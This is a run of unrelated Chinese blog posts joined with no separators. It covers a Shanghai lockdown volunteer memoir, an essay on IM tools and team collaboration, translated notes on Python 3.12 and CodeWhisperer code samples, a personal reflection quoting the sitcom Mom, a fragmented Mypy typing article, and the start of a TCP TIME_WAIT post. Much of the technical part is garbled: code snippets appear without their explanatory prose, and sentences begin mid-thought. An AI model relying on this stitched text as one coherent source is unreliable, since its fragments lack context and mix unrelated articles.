在物资短缺的那档口,各区提供保供企业名单,各居委会自行统计物资需求,交由保供企业配送。所以魔都前期相当一段时间都是居民自费委托居委统一向保供企业采购的,政府免费发放的物资那都是后话了。志愿者群体这个时候就是逐户登记各户需要购买的物资套餐,对没错,打包出售的物资套餐,套餐类型有限,几乎等同于没得选择。登记好后交给居委会统一采购。
社区老年人是一个更为特殊的群里,一般患有老年病慢性病的,家里多多少少都会有常用的药,由于封控期间不能出门,所以很多老年人的救命药就中断了,前期混乱状态的,志愿者在各楼栋群和志愿者群互相咨询那些慢性病的常用药,谁家有多的可以救急。到后面组织专门的志愿者拿着通行证去外面医院和药店采购药品,我们需要登记需要用药的老年人的用药信息,包括药名、规格甚至直接拍摄药品包装。
▼居民团购的蔬菜礼包
到4月中下旬开始,供应问题逐步得到解决,根据政策要求,封控区内需要服务上门,陆续就有物资送到社区。一个4000多人口的社区,一次来的量就非常大,居委会物业公司那几个工作人员是远远没办法收发这些物资的。志愿者群体壮小伙特别多,于是整车卸物资,分发到楼栋,再分发到门户就成了一段时间内的体力工作。
▼政府配送的物资(大米、蔬菜包)
▼政府配送的物资(酱鸭、食用油)
▼政府配送的物资(黄油鸡、八宝粥)
到5月份下旬,疫情全面好转,这时候开始逐步有条件解封,指定每户每天可以有一人上街采购,我们就负责给每户居民发放出门证通行卡,在小区门岗处进行出门证的登记和检查工作。持有效日期的出门证,指定时间段可以进出,出小区会在出门证上标记,回小区需要在门口做抗原。有些居民忍不住竟然要出去钓鱼,能拦的一律拦下来了,个别拦不住的,也只能任由他去了。
有个搞笑的居民自作聪明拿着出门证跑去公司加班了,社区当时的规定是晚上7点前需要返回小区,如果当日出去没有回来的,那抱歉回不来了。并且会将信息上报给防办和公安。连着几个电话打过去都说不回来了,然后告知其法律后果后让其自己决定。任然答复不回,后来公安电话去了,以违反疫情防控原因需要拘留,然后怂了。我们笑竟然还有这么敬业的人,可那只是个私企,自己还不是老板,不关乎国计民生的行业,笑。
▼居民排队登记出入证信息
到6月1日,整整两个多月的封控终于解封了,大家也得以重获自由。只是常态化又像是回到了3月的场景。大魔都保卫战的胜利不知道为啥后面也没提了,大概是直到今天也没有彻底胜利。
常态化防控下,根据区防控部门的统一部署,居民需要定期做核酸,志愿者只要在楼栋负责登记核酸采样记录即可,随着大家的生活逐步走向正轨,加上居委的处事风格和态度,大多数志愿者都回归到自己的生活轨迹中去了,志愿者越来越少,到后来志愿者群里的任务已经没人接龙了。进入10月份,我的工作越来越多,出差频率赶上每周一次,9月底我也退出了志愿服务。自3月开始,整整半年时间。也许后面还会继续呢,谁知道这个鬼疫情到底什么时候才能结束。
临别退出,作诗一首:
春夏之交,瘴疴肆虐,
风云动,志愿启。
吾辈青春热血,挥洒长墨,
方日洞涵文脉,泾通四海。
幸与君携手,会及二月余,
疴瘴终有散,明日无绝期。
他日有召,自当尽心竭力。
青山常在,绿水长流,江湖再见!
这两天跟 Cali 和 Rather 做了一个线上的 Podcast – Ep.5 一起聊聊团队协同。主要是从 IM 工具扩展开来聊了一下团队的协同和相应的工具,但是聊天不是深度思考,有一些东西我没有讲透讲好,所以,我需要把我更多更完整更结构化的想法形成文字。(注:聊天聊地比较详细,本文只是想表达我的主要想法)
国内企业级在线交流工具主要有:企业微信、钉钉、飞书,国外的则是:Slack、Discord这两大IM工具,你会发现,他们有很多不一样的东西,其中有两个最大的不同,一个是企业管理,一个是企业文化。
Slack/Discrod 主要是通过建 Channel ,而国内的IM则主要是拉群。你可能会说,这不是一样的吗?其实是不一样的,很明显,Channel 的属性是相对持久的,而群的属性则是临时的,前者是可以是部门,可以是团队,可以是项目,可以是产品,可以是某种长期存在的职能(如:技术分享),而拉群则是相对来说临时起意的,有时候,同样的人群能被重复地拉出好几次,因为之前临时起意的事做完了,所以群就被人所遗忘了,后面再有事就再来。很明显,Channel 这种方式明显是有管理的属性的,而拉群则是没有管理的。
所以,在国内这种作坊式,野蛮粗放式的管理风格下,他们需要的就是想起一出是一出的 IM 工具,所以,拉群就是他们的工作习惯,因为没有科学的管理,所以没有章法,所以,他们不需要把工作内的信息结构化的工具。而国外则不然,国外的管理是精细化的,国外的公司还在重度使用 Email 的通讯方式,而 Email 是天生会给一个主题时行归类,而且 Email 天生不是碎片信息,所以,国外的 IM 需要跟 Email 竞争,因为像 Email 那样给邮件分类,把信息聚合在一个主题下的方式就能在 IM 上找到相关的影子。Channel 就是一个信息分类,相当于邮件分类,Slack 的 回复区和 Discord 的子区就像是把同一个主题信息时行聚合的功能。这明显是懂管理的人做的,而国内的拉群一看就是不懂管理的人干的,或者说是就是满足这些不懂管理的人的需求的。
团队协作和团队工作最大的基石是信任,如果有了信任,没有工具都会很爽,如果没有信任,什么工具都没用。信任是一种企业文化,这种文化不仅包括同级间的,还包括上下级间的。但是,因为国内的管理跟不上,所以,就导致了各种不信任的文化,而需要在这里不信任的文化中进行协同工作,国内的 IM 软件就会开发出如下在国外的 IM 中完全没有的功能:
而国外的 IM 则是,发出的信息可以修改/删除,没有已读标准,也不会监控员工。这种时候,我总是会对工作在这种不信任文化中人感到可怜……如果大家需要靠逼迫的方式把对方拉来跟我一起协作,我们还工作个什么劲啊。
所以,我们可以看到,畸形的企业管理和企业文化下,就会导致畸形的协同工具。最令人感到悲哀的是,有好多同学还觉得国内的钉钉非常之好,殊不知,你之所以感觉好用,是因为你所在的环境是如此的不堪。你看,人到了不同的环境就会有不同的认识,所以,找一个好一些的环境对一个人的成长有多重要。
给一些新入行的人的建议就是,一个环境对一个人的认知会有非常大的影响,找一个好的环境是非常重要,如果不知道什么 环境是好的,那就先从不使用钉钉为工作协同软件的公司开始吧……
我们从上面可以得到,协同的前提条件是你需要有一个基于信任的企业文化,还需要有有结构化思维的科学的管理思维。没有这两个东西,给你的团队再多的工具都不可能有真正好有协同的,大家就是装模作样罢了。
假设我们的管理和文化都没有问题,那下面我们来谈谈协同工具的事。
我个人觉得 IM 这种工具包括会议都不是一种好的协同工具,因为这些工具都无法把信息做到真正的结构化和准确化,用 IM 或是开会上的信息大多都是碎片化严重,而且没有经过深度思考或是准备的,基本都是即兴出来的东西,不靠谱的概率非常大。
找人交流和开会不是有个话题就好的,还需要一个可以讨论的“议案”。在 Amazon 里开会,会前,组织方会把要讨论的方案打印出来给大家看,这个方案是深思过的,是验证过的,是有数据和证据或是引用支撑的,会议开始后,10 -15分钟是没有人说话的,大家都在看文档,然后就开始直接讨论或发表意见,支持还是不支持,还是有条件支持……会议效率就会很高。
但是这个议案其实是可以由大家一起来完成的,所以,连打印或是开会都不需要。试想一下,使用像 Google Doc 这样的协同文档工具,把大家拉到同一个文档里直接创作,不香吗?我在前段时间,在公网上组织大家来帮我完成一个《非常时期的囤货手册》,这篇文章的形成有数百个网友的加持,而我就是在做一个主编的工作,这种工作是 IM 工具无法完成的事。与之类似的协同工具还有大家一起写代码的 Github,大家一起做设计的 Figma……这样创作类的协同工具非常多。另外,好多这些工具都能实时展示别人的创作过程,这个简直是太爽了,你可以通过观看他人创作过程,学习到很多他人的思路和想法,这个在没有协同工具的时代是很难想像的。
好的协同工具是可以互相促进互相激励的,就像一个足球队一样,当你看到你的队友在勇敢地争抢,拼命地奔跑,你也会被感染到的。
所以,好的协同就是能够跟一帮志同道合,有共同目标,有想法,有能力的人一起做个什么事。所以,在我心中我最喜欢的协同工具从来都是创作类的,不是管理类的,更不是聊天类的。管理和聊天的协同软件会让你产生一种有产出的假象,但其实不同,这种工具无论做的有多好,都是支持性的工具,不是产出类的工具,不会提升生产力的。
另外,在创作类的协同工具上如果有一些智能小帮手,如:Github 发布的 Copilot。那简直是让人爽翻天了,所以,真正能提升生产力的工具都是在内容上帮得到你的。
我其实并不喜欢今天所有的 IM 工具,因为我觉得信息不是结构化的,信息是有因果关系和上下文的,是结构化的,是多维度的,不是今天这种线性的方式,我们想像一下“脑图”或是知识图,或是 wikipedia 的网关的关联,我们可能就能想像得到一个更好的 IM 应该是什么 样的……
协同工作的想像空间实在是太大了,我觉得所有的桌面端的软件都会被协作版的重写,虽然,这种协作软件需要有网络的加持,但是协作软件的魅力和诱惑力实在的太大了,让人无法不从……
未来的企业,那些管理类的工具一定会被边缘化的,聊天类的会被打成一个通知中心,而创作类的会大放异彩,让大家直接在要干的事上进行沟通、交互和分享。
(全文完)
(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)
作者:Mark Shannon
译者:豌豆花下猫@Python猫
英文:https://github.com/faster-cpython/ideas/wiki/Python-3.12-Goals
PEP-684:https://peps.python.org/pep-0684
PEP-554:https://peps.python.org/pep-0554
Python猫注:PEP-554 早在 2017 年就提出了,目标是落地在 Python 3.8-3.9 版本,然而事与愿违。早在 2019 年的时候,我还翻译了一篇《Has the Python GIL been slain?》。屠刀已挥出,让它再飞一会~~
作者:Brian Tarbox
译者:豌豆花下猫@Python猫
英文:https://blog.symops.com/2022/08/31/amazon-codewhisperer
转载请保留作者&译者&来源信息
Python猫注:截至2022年9月17日,这个服务还未全面开放。
若要试用,可在官网申请:https://pages.awscloud.com/codewhisperer-sign-up-form.html
Function to open an S3 file
# Function to open an S3 file
def open_s3_file(filename):
"""
:param filename:
:return:
"""
s3 = boto3.resource('s3')
return s3.Object(bucket, filename).get()['Body'].read()
boto3
API 的时间,你只需要检查代码,确保语义正确。# Function to get first n lines from a file in S3
def get_first_n_lines_from_s3(filename, n):
"""
Get the first n lines of a file in S3
:param filename:
:param n:
:return:
"""
lines = []
for line in open_s3_file(filename):
lines.append(line)
if len(lines) >= n:
break
return lines
# Function to find common elements in lists
def find_common_elements(list1, list2)
def find_common_elements(first, second)
# Function to find common elements in lists
def find_common_elements(first, second):
return list(set(first) & set(second))
# reverse the list order
lines.reverse()
# Function to emit a cloudwatch metric
def put_metric_data(metric_name, metric_data):
"""
Put a metric data into cloudwatch
:param metric_name:
:param metric_data:
:return:
"""
cloudwatch = boto3.client('cloudwatch')
cloudwatch.put_metric_data(
Namespace='my_namespace',
MetricData=[
{
'MetricName': metric_name,
'Dimensions': [
{
'Name': 'string',
'Value': 'string'
},
],
'Unit': 'Seconds',
'Value': metric_data
},
]
)
@dataclass
class InventoryItem:
"""Class for keeping track of an item in inventory."""
name: str
unit_price: float
quantity_on_hand: int = 0
def total_cost(self) -> float:
return self.unit_price * self.quantity_on_hand
@dataclass
class InventoryItem:
"""Class for keeping track of an item in inventory."""
name: str
unit_price: float
quantity_on_hand: int = 0
def total_cost(self) -> float:
return self.unit_price * self.quantity_on_hand
# Function that returns whether this item costs more than $10
def expensive(self) -> bool:
return self.unit_price > 10
# Function to test InventoryItem class
def test_inventory_item():
"""
Test InventoryItem class
:return:
"""
item = InventoryItem("Widget", 10, 5)
assert item.name == "Widget"
assert item.unit_price == 10
assert item.quantity_on_hand == 5
assert item.total_cost() == 50
assert not item.expensive()
# Function to find the longest common line in two files
def find_longest_common_line(file1, file2):
"""
Find the longest common line in two files
:param file1:
:param file2:
:return:
"""
with open(file1, 'r') as f1:
with open(file2, 'r') as f2:
for line in f1:
if line in f2:
return line
上一篇 [post cid="981" size="small" /] 是2019年了,那是我刚上研究生的时候,时隔三年。
今年生日的时候本来是想写一篇博文,但是写了一部分,又停住了,不知道写什么,就没有完成它,这次一起写完吧。
[scode type="share" size="simple"]
[/scode]
在看完《极品老妈》第六季后,开始写下这篇文章。这部美剧的很多观念对我的影响很大,因此我会先写一些这段时间胡思乱想,最后写一些这段时间开心的事情。
我的生活中,遇到了糟糕事情,第一反应一定是找借口。这样的例子数不胜数:
上面的例子,等等等等。
有些事情是与环境有关,比如睡觉会和噪声有关。但是如果没有噪声,我是否就能很快入睡,不失眠呢,并不一定。失眠也许是我自己焦虑、压力。工作学习效率,即使身边空无一人,自己就能灵感迸发,效率很高,专注力很集中的完成事情吗。并不一定。效率低下也许本身就是自己专注力不高导致的。生活很无聊,难道找到一个朋友就能解决吗。并不一定。无数的人因为无聊进入恋爱,而后又开始想念单身的日子。找到朋友也许会有帮助,但是也许真正的问题是自己并没有对自己生活有清晰的认知和规划,不知道需要做什么事情。性格原因我也曾想是初中寄宿在班主任家里,高中繁重、残酷学习的压力导致。
极品老妈第六集第15集,Cristy在情人节与老妈一起度过,“开玩笑”把自己找不到对象,准备放弃爱情的事情归咎于自己的老妈,说在她糟糕的童年让她没办法爱上一个人。
我的确认为我没爱过 这都怪你
I do think it's your fault I've never been in love.
我就知道 你简直不可理喻
I knew it. You're unbelievable.
我带你来一家高档餐厅 让你开心
I take you to a nice restaurant to cheer you up,
结果你还是想办法让我成了坏人
and you still find a way to make me the bad guy.
一次高档晚餐并不能弥补糟糕的童年
One nice dinner doesn't make up for a sucky childhood.
听着 即使我是完美妈妈
Look, even if I was a perfect parent...
I said "If."
即使那样 对你来说也不够
Even then, it wouldn't have been enough for you,
因为什么都无法让你满意
because nothing's ever enough for you.
如果你孤独终老有个原因
And if there's a reason you're gonna be alone forever,
那就是原因所在
that's it.
仔细想想,即使是幸福快乐的家庭,出现的问题少年也数不胜数。环境自然是重要的催化剂,但自己仍然需要对自己的任何事情负责。
换了思路,其实“内向”和“不善于社交”并不是太坏,实际上它是我们成长过程中的一种保护机制,正是因为环境中的一些拒绝/伤害,才让我变得不去主动,从而减少自己受到的痛苦,这实际是一件好事,也帮我避免了很多无意义的社交,更加专注于自己。
就像Bonnie的专注力缺陷(attention deficit disorder)问题一样,尽管让她在“高考”中没有通过,但是在她的童年中,在很多的痛苦的场景中,让她的大脑会自动忘掉这些事情。
所以现在,我开始学着不总是抱怨环境带给我的干扰。不要把一个糟糕问题归咎给另一个糟糕的问题。
首先从内心出发,从自己寻找原因,自己能否做一些事情改善或者解决这个问题,如果确实是环境的问题,再去看自己能否改变环境,如果不能,要么忍受要么离开。
比如如果觉得工作时候周围的机械键盘声音太吵,以至于无法工作,那么就去试试戴着降噪耳机有没有用,如果没用,再去看看有没有空闲会议室可以去工作一会,最后要么鼓起勇气提醒同事,要么忍受噪声。
比如睡不着的时候,不要总是找各种原因,而是看看能否找一些事情帮助改善睡眠,比如做一些冥想等等,如果找不到更好方式,那只能接受失眠这个问题本身。
不找借口的下一个步骤,实际上就是”向内需求力量“,而非依赖他人,或者环境。
就像”成龙历险记“中说过,“智者向内寻求力量,不智者向外寻求力量。”
依赖外部的力量是很脆弱的,不是说工作中不要与别人沟通,合作,而是不要把别人合作当成自己工作的核心因素。
生活同样如此,不要把朋友、亲人当成支撑自己的核心力量,这种外部支持是非常脆弱的,并不是指亲情、友情不值得信赖,而是别人总会有自己的事情、有自己的生活。我们的生活不应该是依附在别人生活是否开心之上。可以有外部感情的输入,但需要记得是自己的生活规划、自己想做和正在做的事情才是自己生活快乐、丰富、充实的核心力量。
在极品老妈第14集的时候,Cristy一直担心她的互助对象不喜欢她,一直找时间就和对方打招呼,甚至从她的inns找到她最喜欢吃的东西,做给她吃。弄巧成拙的是她做的东西让对方肚子不舒服,在电视上出丑。
我希望你不要因为这些事对我生气
I hope you're not mad at me over all of this.
好吧 我们得把问题扼杀在萌芽阶段
Okay, we got to nip this in the bud.
记得我刚开始跟你互助时
Remember when I first started sponsoring you
让你记下你害怕的事
and I asked you to do a fear inventory?
记得 -你也许该再做一次了
Yeah. - Maybe it's time for you to do another one,
因为我不记得你写过
because I don't remember you writing down,
我害怕人们不喜欢我
"I'm terrified that people won't like me."
我没写下来 -为什么
I didn't write that down. - Why not?
我害怕那会让你不喜欢我
I was afraid it would make you not like me.
你看到自己在做什么了吗
Do you see what you're doing here?
看到了
Yeah, yeah.
没看到
No.
如果你总是寻求别人的认可
If you always seek the validation of other people,
你永远也不会满足
you will never be content,
因为你让他们成为了你的更高力量
because you're making them your higher power.
你对我就是这样
You're doing it with me.
最后 我只是另一个酒鬼
Oh, my God, that's Sports with Kane Stevens!
你也不需要他喜欢你
And you don't need him to like you either.
我要的 -不用的
Yes, I do. u202d- No, you don't.
我成长时没多少优势
Look, I didn't have a lot going for me growing up,
但是争取人心是我的特长之一
but winning people over was one of my strong suits.
那肯定对你有用 但你现在不需要了
And I'm sure it served you, but you don't need it anymore.
我来问你 你喜欢自己吗
Let me ask you something. Do you like yourself?
因为你只用关心这个人
“寻求别人的认可“换句话就是我们常听说的“讨好型人格”,但这其实并不是一件坏事,同样也是我们身体进化的一种机制。如果在一件事情上,发现讨好别人有用,不管是获得对方同情,还是获得预期的关注、效果,那么在下次遇到类似的情况时候,就会继续讨好别人,这实际是一种“强化学习”,这没什么错误,相反是我们的大脑在帮助我们获得最优的方案。
但是就像这部剧说的那样,“那肯定对你有用 但你现在不需要了“,讨好别人让自己更痛苦,所以让我注意到这个问题,从而希望寻求别的行为方式。而我现在更应该依赖自身,自己的能力去获得自己想要的事情,而不是依赖别人。
讲一个自己的故事,三年前,我在给好朋友发消息的时候,如果对方回我的消息慢,我就会感觉,对方是不是讨厌自己,如果对方经常性的在聊天中回了上句没下句,我会觉得对方是不是不想和自己聊天。
而现在我会有多种情况分析,如果是不熟的人,who cares 回不回消息,并且会认为对方是一个没有礼貌的人。如果是关系很好的人,我知道对方可能在忙,我会理解,没有抱怨。如果我不知道对方在干什么,而且经常性的回消息慢,我会直接去问,为什么回得这么慢,是不是在忙,如果真的在忙,当然也没什么好抱怨。如果对方不忙,还经常隔好几分钟才回消息,那也没必要继续进行聊天了。
这并不表示好朋友的分量在我的心中变低了,而是我不再像之前那样特别的依赖对方给我的反馈,让我觉得我被关爱或者被需要。一个对话需要平等的关系,平等的尊重才能进行。
不要强求任何对话,印象很深的一集是Cristy有赌瘾,她把保释他妈的钱都给赌没了,还是两次。老妈Bonnie 希望女儿尽快去互助会戒断。但是Cristy坚持自己没有赌瘾,她坚持说自己一辈子只赌过三次也叫赌瘾吗。因此两人吵个没完。Bonnie寻求玛乔丽 *帮助,*玛乔丽问Cristy有主动寻求帮助吗,如果没有,就不要去干预。即使是为对方考虑,如果对方没有寻求帮助,就不要总是站在自己立场去交流,除非对方明确请求了。
工作上的事情也是这样,始终让工作进度的关键点不要落在外部依赖上,对于强依赖外部阻塞的事情,要尽快解决,避免失控。
在极品老妈的第六季第一集,Cristy因为法学院上课难度太大而选择退学,玛乔丽当时说的一句话让我印象很深:
you didn't think you could get your GED.
你觉得你考不上大学
You didn't think you could get into college.
你觉得你考不上法学院
You didn't think you could get into law school,
但你都做到了
but you did all those things.
我们总是看着眼前的高山
We always look at the mountains ahead of us,
忘记了我们翻越的高山也一样难爬
and we forget the mountains behind us were just as hard to climb.
工作之后,总会觉得自己做的不够好,显然没有到达自己当初的预期,公司里的人都太优秀,有96年的大佬,在两年前就设计了一些框架,还是全栈,还有差不多大的c++代码规范意识很强,代码设计能力也很强。之前总会去想,害怕自己根本达到不了别人那样的成就和高度。但是仔细想想,之前其实我也走过了很多当时觉得无法完成的困难。
高考虽然很难,还算符合预期。考研时间短,任务重。那时每天想的就是如果能考上研了,什么问题都解决了。等真正研究生的时候,毕业也是一个天大的难题。总是怀疑自己根本没有科研能力,写不出来自己的论文,结果最后的几个月仍然完成了论文,顺利的毕业。
所以对于工作的问题,没有理由觉得我不能做好。不管是C++还是chromium,这些都是现有的代码和教程,并不用自己去创新,只要踏实去学,学实践,没有理由做不好的。
还想告诉自己的一个点是,在危机来临之前提前做好准备。
或许这个话题太宽太大了,实际上它落实在每件小事情上。比如我买了新的电动车,就应该提前准备好一些用具,比如车批,这样下雨的时候就不回担心淋雨了。可能小雨没有太大问题,但是暴雨就会让车很脏或者导致一些问题。如果提前准备好,那么真正下雨了,就不会抱怨懊恼。
同时,提前做好准备,实际上会有不错的正反馈,当真正提前做完一件事情,是会比普通完成一件事情,获得更大的成就感。会觉得自己很机智和聪明。
一直以来,我觉得我都对“不着急,慢慢来”有误解。慢慢来的意思不是说这件事情不重要,而是恰恰这件事情很重要,不能也没办法急着弄完。
如果是一个很简单的事情,实际上根本不需要不着急慢慢来,直接就能做完。如果是一个不重要但是复杂一些的事情,也可以直接粗糙做完。恰恰是重要的事情才需要不着急慢慢来。
就拿个人成长来说,自身的变化,比如生活更加丰富、自律不可能一天、两天、一周、两周、一个月两个月完成。这是一件不着急慢慢来的事情,但是确实非常重要的事情。
不着急慢慢来是告诉我做事的方法和心态,不要急于求成,而是要想清楚这件事情的丰富细节,每个细节都去做对,做好,才能达成最终的目标。
刚工作的时候,做完一件事情,就急着去找mentor 新的事情。mentor告诉我说不着急,慢慢来,会让我觉得自己做的事情并不重要。后来真正技术方案评审的时候,就会发现会有一些细节没有提前考虑好,这才发现事情并不是越快越好,慢慢做也不代表事情不重要,不是让我放松警惕,可以摸鱼,而是事情的细节很多,需要仔细思考。
每个人都知道“坚持就是胜利”,坚持一种大受赞扬的一种品质。但是坚持多久才算是“胜利“。比如坚持写日记,能坚持一年,会让人觉得挺不错了。但是难道坚持一个月就没有意义了吗。
我觉得我之前有些过于放大坚持的定义,以至于对坚持较短时间的事情不屑一顾。比如坚持每天读一篇文章,或者每天看一两页书这样的目标是个不错的目标。但是坚持三天,每天读一篇文章,这样的目标并不足以成为一个目标。但是坚持三天也很了不起,也很有意义。
我的很多日志,都在坚持几个月的过程中记录下来的。尽管没有年复一年的每日坚持,但是我仍然感激那不长时间的坚持带来的记录。
因此,我可以对自己说,没关系,可以从一小段时间开始坚持,即使没坚持住,也没关系。我们仍然可以随时准备出发,重新开始一小段时间的坚持过程。
同时发现一个现象是,自控力是一种与个人状态强相关的一种能力,与其他能力,如编程能力,学习能力不同,自控力是经常性的波动,这很正常。当我身心愉悦的时候,自控力就会随之提高,反之当自己容易emo的时候,就通常会偷懒从而导致自控力降低。因此想要提高自控的几率,保持好的身心健康是至关重要的。
高中的有段时间,我有时会刻意疏远朋友,原因是我当时觉得未来毕业后,大家分隔两地也不会再有联系,现在再好的关系不是浪费时间和感情吗。现在想起来当然是可笑的。因为担心未来还没有发生的事情,就放弃现在的友情和快乐,是非常可笑的。
这个例子固然偏激,还有很多类似的事情,比如担心裁员/经济环境越来越差,就不去正常工作等等。
除此之外,与自己无关的事情也尽量不要去想。这里的与自己无关的事情分为两部分:
如果有人向我抱怨(比如家人),但是我给了建议他又不听,那么这类事情也会被归类为自己不能改变的事情,我不会再去为这些事情烦心。
最后分享一些这段时间开心的一些事情。
第一件事情是我买了电动车,wow!尽管我住的地方离公司并不远,但是每天早上急急忙忙赶路或者早自行车还是很费劲。电动车给我带来很多幸福感。第一次骑的时候晕车担心会不会不适合我,但很快我就喜欢上了风吹过我耳边的感觉。
第二件事情我要推荐“湿厕巾”这件物品,非常提升生活质量,谁用谁知道。
第三件事是上周电动牙刷坏了,充不上电了。幸运的是之前购买的时候有三年换新的服务,而今天全新的牙刷就寄到了,还是京东快递。感觉动力比之前足了不少,绝对是非常值得庆幸的一件小事。
第四件事就是上周公司的一些活动和游戏得到的一些纪念品,虽然价格廉价,但是仍然非常喜欢。
真正回想起来,开心的事情并不多,也许我需要开始用“开心的事情”的tag来随手记录一下每天的开心事情。
以上就是本次全部内容了,下次见。
Any
转换。def greeting(name: str) -> str:
return 'Hello ' + name
mypy path/to/file.py
后,Mypy 会把推断出的违规代码都吐出来。Python 在运行时显露但不利用那些类型注解。disallow_untyped_defs
,它要求对所有函数签名进行注解),从那时起,我们一直维护着这些设置。(Wolt 团队有一篇很好的文章,他们称之为“专业级的 Mypy 配置”,巧合的是,我们使用的正是这种配置。)Mypy 配置:https://blog.wolt.com/engineering/2021/09/30/professional-grade-mypy-configuration/
Zulip 博文:https://blog.zulip.com/2016/10/13/static-types-in-python-oh-mypy/#benefitsofusingmypy
mypy.ini
里添加一个许可条目,它告诉 Mypy 要忽略那些模块的类型注解(有类型或提供类型存根的库,比较罕见):[mypy-altair.*]
ignore_missing_imports = True
[mypy-apache_beam.*]
ignore_missing_imports = True
[mypy-bokeh.*]
ignore_missing_imports = True
...
import pandas as pd
def return_data_frame() -> pd.DataFrame:
"""Mypy interprets pd.DataFrame as Any, so returning a str is fine!"""
return "Hello, world!"
functools.lru_cache
尽管在 typeshed 里有类型注解,但由于复杂的原因,它不保留底层函数的签名,所以任何用 @functools.lru_cache
装饰的函数都会被移除所有类型注解。import functools
@functools.lru_cache
def add_one(x: float) -> float:
return x + 1
add_one("Hello, world!")
typing
模块。我通常在跟候选人作广泛的技术讨论时,会展示一个使用了typing.Protocol
的代码片段,我不记得有任何候选人看到过这个特定的构造——当然,这完全没问题!但这体现了 typing 在 Python 生态的流行程度。if condition:
value: str = "Hello, world"
else:
# Not ok -- we declared `value` as `str`, and this is `None`!
value = None
...
if condition:
value: str = "Hello, world"
else:
# Not ok -- we already declared the type of `value`.
value: Optional[str] = None
...
# This is ok!
if condition:
value: Optional[str] = "Hello, world"
else:
value = None
from typing import Literal
def my_func(value: Literal['a', 'b']) -> None:
...
for value in ('a', 'b'):
# Not ok -- `value` is `str`, not `Literal['a', 'b']`.
my_func(value)
@overload
,来自typing
模块:非常强大,但很难正确使用。当然,如果需要重载一个方法,我就会使用它——但是,就像我说的,如果可以的话,我宁可避免它。@overload
def clean(s: str) -> str:
...
@overload
def clean(s: None) -> None:
...
def clean(s: Optional[str]) -> Optional[str]:
if s:
return s.strip().replace("\u00a0", " ")
else:
return None
@overload
def lookup(
paths: Iterable[str], *, strict: Literal[False]
) -> Mapping[str, Optional[str]]:
...
@overload
def lookup(
paths: Iterable[str], *, strict: Literal[True]
) -> Mapping[str, str]:
...
@overload
def lookup(
paths: Iterable[str]
) -> Mapping[str, Optional[str]]:
...
def lookup(
paths: Iterable[str], *, strict: Literal[True, False] = False
) -> Any:
pass
bool
到 find_many_latest
,你必须传一个字面量 True
或False
。@typing.overload
或者@overload
、在类方法中使用@overload
,等等。TypedDict
,同样来自typing
模块:可能很有用,但往往会产生笨拙的代码。TypedDict
——它必须用字面量 key 构造——所以下方第二种写法是行不通的:from typing import TypedDict
class Point(TypedDict):
x: float
y: float
a: Point = {"x": 1, "y": 2}
# error: Expected TypedDict key to be string literal
b: Point = {**a, "y": 3}
TypedDict
对象做一些 Pythonic 的事情。我最终倾向于使用 dataclass
或 typing.NamedTuple
对象。F = TypeVar("F", bound=Callable[..., Any])
def decorator(func: F) -> F:
def wrapper(*args: Any, **kwargs: Any):
return func(*args, **kwargs)
return cast(F, wrapper)
@decorator
def f(a: int) -> str:
return str(a)
@functools.lru_cache
:由于装饰器最终定义了一个全新的函数,所以如果你不正确地注解代码,就可能会出现严重而令人惊讶的错误。)ParamSpec
对装饰器的情况作了重大的改进。)reveal_type
*,*可以让 Mypy 在对文件进行类型检查时,显示出变量的推断类型。这是非常非常非常有用的。# No need to import anything. Just call `reveal_type`.
# Your editor will flag it as an undefined reference -- just ignore that.
x = 1
reveal_type(x) # Revealed type is "builtins.int"
reveal_type
特别地有用,因为它可以帮助你理解泛型是如何被“填充”的、类型是否被缩小了,等等。Any
毒害,我们在一组文件上写了调用 Mypy 的单元测试,并断言 Mypy 抛出的错误能匹配一系列预期内的异常:def test_check_function(self) -> None:
result = api.run(
[
os.path.join(
os.path.dirname(__file__),
"type_check_examples/function.py",
),
"--no-incremental",
],
)
actual = result[0].splitlines()
expected = [
# fmt: off
'type_check_examples/function.py:14: error: Incompatible return value type (got "str", expected "int")', # noqa: E501
'type_check_examples/function.py:19: error: Missing positional argument "x" in call to "__call__" of "FunctionPipeline"', # noqa: E501
'type_check_examples/function.py:22: error: Argument "x" to "__call__" of "FunctionPipeline" has incompatible type "str"; expected "int"', # noqa: E501
'type_check_examples/function.py:25: note: Revealed type is "builtins.int"', # noqa: E501
'type_check_examples/function.py:28: note: Revealed type is "builtins.int"', # noqa: E501
'type_check_examples/function.py:34: error: Unexpected keyword argument "notify_on" for "options" of "Expression"', # noqa: E501
'pipeline.py:307: note: "options" of "Expression" defined here', # noqa: E501
"Found 4 errors in 1 file (checked 1 source file)",
# fmt: on
]
self.assertEqual(actual, expected)
typing
模块在每个 Python 版本中都有很多改进,同时,还有一些特性会通过typing-extensions
模块向后移植。typing-extensions
,在前面提到的工作流编排库中使用了3.10 版本的ParamSpec
。(遗憾的是,PyCharm 似乎不支持通过typing-extensions
引入的ParamSpec
语法,并将其标记为一个错误,但是,还算好吧。)当然,Python 本身语法变化而出现的特性,不能通过typing-extensions
获得。typing
模块中有很多有用的辅助对象,NewType
是我的最爱之一。NewType
可让你创建出不同于现有类型的类型。例如,你可以使用NewType
来定义合规的谷歌云存储 URL,而不仅是str
类型,比如:from typing import NewType
GCSUrl = NewType("GCSUrl", str)
def download_blob(url: GCSUrl) -> None:
...
# Incompatible type "str"; expected "GCSUrl"
download_blob("gs://my_bucket/foo/bar/baz.jpg")
# Ok!
download_blob(GCSUrl("gs://my_bucket/foo/bar/baz.jpg"))
download_blob
的调用者指出它的意图,我们使这个函数具备了自描述能力。NewType
对于将原始类型(如 str
和 int
)转换为语义上有意义的类型特别有用。mypy
,冷缓存大约需要 50-60 秒,热缓存大约需要 1-2 秒。typing
模块、注解语法和 Mypy 本身的显著改进。(例如:新的联合类型语法( X|Y
)、 ParamSpec
和 TypeAlias
,这些都包含在 Python 3.10 中。)except *
运算符(PEP 654):ws://
与 wss://
表示的是使用 WebSocket 请求协议。今天来讲一讲TCP 的
TIME_WAIT
的问题。这个问题尽人皆知,不过,这次遇到的是不太一样的场景,前两天也解决了,正好写篇文章,顺便把 TIME_WAIT
的那些事都说一说。对了,这个场景,跟我开源的探活小工具 EaseProbe 有关,我先说说这个场景里的问题,然后,顺着这个场景跟大家好好说一下这个事。
先说一下背景,EaseProbe 是一个轻量独立的用来探活服务健康状况的小工具,支持http/tcp/shell/ssh/tls/host以及各种中间件的探活,然后,直接发送通知到主流的IM上,如:Slack/Telegram/Discrod/Email/Team,包括国内的企业微信/钉钉/飞书, 非常好用,用过的人都说好 。
